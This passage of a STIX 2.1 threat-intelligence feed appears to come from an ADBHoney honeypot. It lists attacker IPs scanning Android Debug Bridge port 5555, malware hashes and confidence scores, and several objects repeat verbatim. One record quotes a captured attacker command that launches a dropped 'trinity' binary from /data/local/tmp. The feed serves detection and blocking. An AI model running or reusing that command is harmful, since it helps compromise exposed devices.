      "id": "indicator--6ddc46c2-32f0-4d20-851a-bedb52973598",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = 'ff781ec7e778bc9919dea96735747d66bb70bb11ea49177ac4af8ade0b895b34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-13T23:02:44.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T00:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=PL; asn=201814; asn_org=MEVSPACE sp. z o.o.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=49 | first_seen=2026-03-13T23:42:29.000Z | last_seen=2026-03-15T19:51:55.659Z | ports=5555 | cc=PL | asn=201814 | org=MEVSPACE sp. z o.o.",
      "id": "indicator--c174dbca-90c0-44f3-b7fb-7c45b0618bb9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '95.214.55.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T00:00:03.000Z",
      "valid_until": "2026-04-15T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 49,
          "first_seen": "2026-03-13T23:42:29.000Z",
          "last_seen": "2026-03-15T19:51:55.659Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PL"
          ],
          "asn": [
            "201814"
          ],
          "org": [
            "MEVSPACE sp. z o.o."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T00:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=PL; asn=201814; asn_org=MEVSPACE sp. z o.o.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=49 | first_seen=2026-03-13T23:42:29.000Z | last_seen=2026-03-15T19:51:55.659Z | ports=5555 | cc=PL | asn=201814 | org=MEVSPACE sp. z o.o.",
      "id": "indicator--c174dbca-90c0-44f3-b7fb-7c45b0618bb9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '95.214.55.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T00:00:03.000Z",
      "valid_until": "2026-04-15T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 49,
          "first_seen": "2026-03-13T23:42:29.000Z",
          "last_seen": "2026-03-15T19:51:55.659Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PL"
          ],
          "asn": [
            "201814"
          ],
          "org": [
            "MEVSPACE sp. z o.o."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-14T01:46:54.000Z | last_seen=2026-03-14T01:57:05.111Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--a2d3f214-d5d6-4eed-9087-9e3d11981e14",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '129.212.180.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T02:00:03.000Z",
      "valid_until": "2026-04-15T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-14T01:46:54.000Z",
          "last_seen": "2026-03-14T01:57:05.111Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=202425; asn_org=IP Volume inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=10 | first_seen=2026-03-14T01:01:54.000Z | last_seen=2026-03-14T22:13:20.091Z | ports=5555 | cc=US | asn=202425 | org=IP Volume inc",
      "id": "indicator--832a5742-f81c-4250-90e2-aa467103b9bf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T02:00:03.000Z",
      "valid_until": "2026-04-15T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 10,
          "first_seen": "2026-03-14T01:01:54.000Z",
          "last_seen": "2026-03-14T22:13:20.091Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "202425"
          ],
          "org": [
            "IP Volume inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=37; ports=5555; cc=CN; asn=9808; asn_org=China Mobile Communications Group Co., Ltd.; cats=Generic Protocol Command Decode; adb_cmd_hits=13; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-03. events=37 | first_seen=2026-03-14T01:17:00.000Z | last_seen=2026-03-14T01:29:17.184Z | ports=5555 | cc=CN | asn=9808 | org=China Mobile Communications Group Co., Ltd. | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--e1c58ed9-e0b1-4f78-863e-1a6cb0cd76d3",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '39.128.104.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T02:00:03.000Z",
      "valid_until": "2026-04-15T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 37,
          "first_seen": "2026-03-14T01:17:00.000Z",
          "last_seen": "2026-03-14T01:29:17.184Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "9808"
          ],
          "org": [
            "China Mobile Communications Group Co., Ltd."
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T03:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=931; asn_org=Hyonix; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-14T02:50:53.000Z | last_seen=2026-03-14T02:51:59.677Z | ports=5555 | cc=US | asn=931 | org=Hyonix",
      "id": "indicator--f31d81c9-3fab-413f-b1cc-21115e049e12",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.143.145.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T03:00:04.000Z",
      "valid_until": "2026-04-15T03:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-14T02:50:53.000Z",
          "last_seen": "2026-03-14T02:51:59.677Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "931"
          ],
          "org": [
            "Hyonix"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T04:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14618; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-14T03:01:56.000Z | last_seen=2026-03-14T03:03:32.536Z | ports=5555 | cc=US | asn=14618 | org=Amazon.com, Inc.",
      "id": "indicator--751078f2-cde5-44ad-bb34-6b74dd346b54",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '100.29.192.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T04:00:05.000Z",
      "valid_until": "2026-04-15T04:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-14T03:01:56.000Z",
          "last_seen": "2026-03-14T03:03:32.536Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14618"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T04:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=CN; asn=56041; asn_org=China Mobile communications corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-14T03:40:37.000Z | last_seen=2026-03-14T03:50:45.278Z | ports=5555 | cc=CN | asn=56041 | org=China Mobile communications corporation",
      "id": "indicator--d5986602-4d79-4898-ac9b-2f0664d83f18",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '39.144.130.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T04:00:05.000Z",
      "valid_until": "2026-04-15T04:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-14T03:40:37.000Z",
          "last_seen": "2026-03-14T03:50:45.278Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56041"
          ],
          "org": [
            "China Mobile communications corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T04:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=18 | first_seen=2026-03-14T03:44:19.000Z | last_seen=2026-03-26T03:52:23.183Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--e4eddad1-8df4-4482-8bd0-a367dbab2d4c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T04:00:05.000Z",
      "valid_until": "2026-04-15T04:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 18,
          "first_seen": "2026-03-14T03:44:19.000Z",
          "last_seen": "2026-03-26T03:52:23.183Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T04:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-14T03:43:21.000Z | last_seen=2026-03-14T03:44:25.986Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--7cbcbbb7-ae2a-4eaa-886f-9be210a13f6f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T04:00:05.000Z",
      "valid_until": "2026-04-15T04:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-14T03:43:21.000Z",
          "last_seen": "2026-03-14T03:44:25.986Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T04:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=53; ports=5555; cc=US; asn=14618; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=53 | first_seen=2026-03-14T03:07:14.000Z | last_seen=2026-03-14T03:18:01.426Z | ports=5555 | cc=US | asn=14618 | org=Amazon.com, Inc.",
      "id": "indicator--efdacd36-77c7-40d1-a626-b1c05fd92fe6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '98.80.4.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T04:00:05.000Z",
      "valid_until": "2026-04-15T04:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 53,
          "first_seen": "2026-03-14T03:07:14.000Z",
          "last_seen": "2026-03-14T03:18:01.426Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14618"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T04:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14618; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-14T03:01:56.000Z | last_seen=2026-03-14T03:03:32.536Z | ports=5555 | cc=US | asn=14618 | org=Amazon.com, Inc.",
      "id": "indicator--751078f2-cde5-44ad-bb34-6b74dd346b54",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '100.29.192.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T04:00:05.000Z",
      "valid_until": "2026-04-15T04:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-14T03:01:56.000Z",
          "last_seen": "2026-03-14T03:03:32.536Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14618"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T04:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=CN; asn=56041; asn_org=China Mobile communications corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-14T03:40:37.000Z | last_seen=2026-03-14T03:50:45.278Z | ports=5555 | cc=CN | asn=56041 | org=China Mobile communications corporation",
      "id": "indicator--d5986602-4d79-4898-ac9b-2f0664d83f18",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '39.144.130.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T04:00:05.000Z",
      "valid_until": "2026-04-15T04:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-14T03:40:37.000Z",
          "last_seen": "2026-03-14T03:50:45.278Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56041"
          ],
          "org": [
            "China Mobile communications corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T04:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=18 | first_seen=2026-03-14T03:44:19.000Z | last_seen=2026-03-26T03:52:23.183Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--e4eddad1-8df4-4482-8bd0-a367dbab2d4c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T04:00:05.000Z",
      "valid_until": "2026-04-15T04:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 18,
          "first_seen": "2026-03-14T03:44:19.000Z",
          "last_seen": "2026-03-26T03:52:23.183Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T04:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-14T03:43:21.000Z | last_seen=2026-03-14T03:44:25.986Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--7cbcbbb7-ae2a-4eaa-886f-9be210a13f6f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T04:00:05.000Z",
      "valid_until": "2026-04-15T04:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-14T03:43:21.000Z",
          "last_seen": "2026-03-14T03:44:25.986Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T04:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=53; ports=5555; cc=US; asn=14618; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=53 | first_seen=2026-03-14T03:07:14.000Z | last_seen=2026-03-14T03:18:01.426Z | ports=5555 | cc=US | asn=14618 | org=Amazon.com, Inc.",
